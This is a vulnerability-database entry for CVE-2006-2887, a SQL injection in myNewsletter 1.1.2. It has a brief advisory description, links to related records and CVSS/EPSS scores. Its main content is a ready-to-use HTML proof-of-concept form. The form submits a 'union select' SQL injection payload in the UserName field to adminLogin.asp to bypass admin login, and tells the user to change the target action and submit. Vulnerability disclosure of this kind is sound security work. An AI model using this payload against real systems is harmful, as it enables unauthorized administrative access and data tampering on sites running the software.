myNewsletter 1.1.2 - 'Username' SQL Injection

🗓️ 05 Jun 2006 00:00:00Reported by FarhadKeyType

myNewsletter 1.1.2 has an SQL injection vulnerability allowing data access or modification.

Reporter	Title	Published	Views	Family All 6
CVE	CVE-2006-2887	7 Jun 200610:00	–	cve
Cvelist	CVE-2006-2887	7 Jun 200610:00	–	cvelist
Exploit DB	myNewsletter 1.1.2 - 'adminLogin.asp' Authentication Bypass	6 Jun 200600:00	–	exploitdb
EUVD	EUVD-2006-2884	7 Oct 202500:30	–	euvd
NVD	CVE-2006-2887	7 Jun 200610:02	–	nvd
Prion	Sql injection	7 Jun 200610:02	–	prion

source: https://www.securityfocus.com/bid/18287/info

myNewsletter is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp">
<input type="hidden" name="UserName" value="<!--&#039;union select 1 from Newsletter_Admin where &#039;&#039;=&#039;">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->
<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>
</form>
</html>

31 Aug 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 27.5

EPSS0.02271